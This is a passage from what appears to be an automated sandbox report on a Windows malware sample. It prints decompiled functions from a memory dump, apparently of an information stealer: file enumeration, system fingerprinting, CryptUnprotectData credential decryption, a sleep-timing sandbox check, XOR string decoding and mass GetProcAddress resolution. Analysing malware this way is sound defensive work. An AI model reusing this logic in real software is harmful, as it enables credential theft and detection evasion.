				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x7c9828
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x7c8f90
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x7c96d8
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x7c8f90
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x7b08d8
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x7c8f90
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652); // executed
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180); // executed
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860); // executed
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
						_t60 = FindNextFileA(_v272,  &_v596); // executed
					} while (_t60 != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d98
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNELBASE(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNELBASE(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200); // executed
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;
				long _t16;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t16 = GetTimeZoneInformation( &_v180); // executed
				_v188 = _t16;
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad6a
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _t21;

				_v16 = _a4;
				_v20 = _a8;
				_t21 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12); // executed
				_v24 = _t21;
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x00407534
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNEL32(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8); // executed
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 004048E0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 352.6, APIs: 144, Strings: 57, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				struct HINSTANCE__* _t4;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x7c7698
					_t273 =  *0x41aa64; // 0x74df0000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x7c76c8
					_t130 =  *0x41aa64; // 0x74df0000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x7c5090
					_t363 =  *0x41aa64; // 0x74df0000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x7c7488
					_t275 =  *0x41aa64; // 0x74df0000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x7c75d8
					_t135 =  *0x41aa64; // 0x74df0000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x7c7608
					_t365 =  *0x41aa64; // 0x74df0000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x7c7620
					_t277 =  *0x41aa64; // 0x74df0000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x7c7398
					_t140 =  *0x41aa64; // 0x74df0000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x7c7410
					_t367 =  *0x41aa64; // 0x74df0000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x7c7530
					_t279 =  *0x41aa64; // 0x74df0000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x7c7440
					_t145 =  *0x41aa64; // 0x74df0000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x7c7638
					_t369 =  *0x41aa64; // 0x74df0000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x7c7590
					_t281 =  *0x41aa64; // 0x74df0000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x7c50b0
					_t150 =  *0x41aa64; // 0x74df0000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x7c7428
					_t371 =  *0x41aa64; // 0x74df0000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x7c50d0
					_t283 =  *0x41aa64; // 0x74df0000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x7c6728
					_t155 =  *0x41aa64; // 0x74df0000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x7c7650
					_t373 =  *0x41aa64; // 0x74df0000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x7c50f0
					_t285 =  *0x41aa64; // 0x74df0000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x7c75c0
					_t160 =  *0x41aa64; // 0x74df0000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x7c5110
					_t375 =  *0x41aa64; // 0x74df0000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x7c74b8
					_t287 =  *0x41aa64; // 0x74df0000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x7c73b0
					_t165 =  *0x41aa64; // 0x74df0000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x7c7458
					_t377 =  *0x41aa64; // 0x74df0000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x7c7470
					_t289 =  *0x41aa64; // 0x74df0000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x7c4c90
					_t170 =  *0x41aa64; // 0x74df0000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x7c7560
					_t379 =  *0x41aa64; // 0x74df0000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x7c74a0
					_t291 =  *0x41aa64; // 0x74df0000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x7c7500
					_t175 =  *0x41aa64; // 0x74df0000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x7c4ab0
					_t381 =  *0x41aa64; // 0x74df0000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x7c7518
					_t293 =  *0x41aa64; // 0x74df0000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x7c7a88
					_t180 =  *0x41aa64; // 0x74df0000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x7c7ba8
					_t383 =  *0x41aa64; // 0x74df0000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x7c7ad0
					_t295 =  *0x41aa64; // 0x74df0000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x7c7c50
					_t185 =  *0x41aa64; // 0x74df0000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x7c4d70
					_t385 =  *0x41aa64; // 0x74df0000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x7c4cd0
					_t297 =  *0x41aa64; // 0x74df0000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x7c7c98
					_t190 =  *0x41aa64; // 0x74df0000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x7c7b30
					_t387 =  *0x41aa64; // 0x74df0000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x7c4a50
					_t299 =  *0x41aa64; // 0x74df0000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x7c6818
					_t195 =  *0x41aa64; // 0x74df0000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x7c7bc0
					_t389 =  *0x41aa64; // 0x74df0000
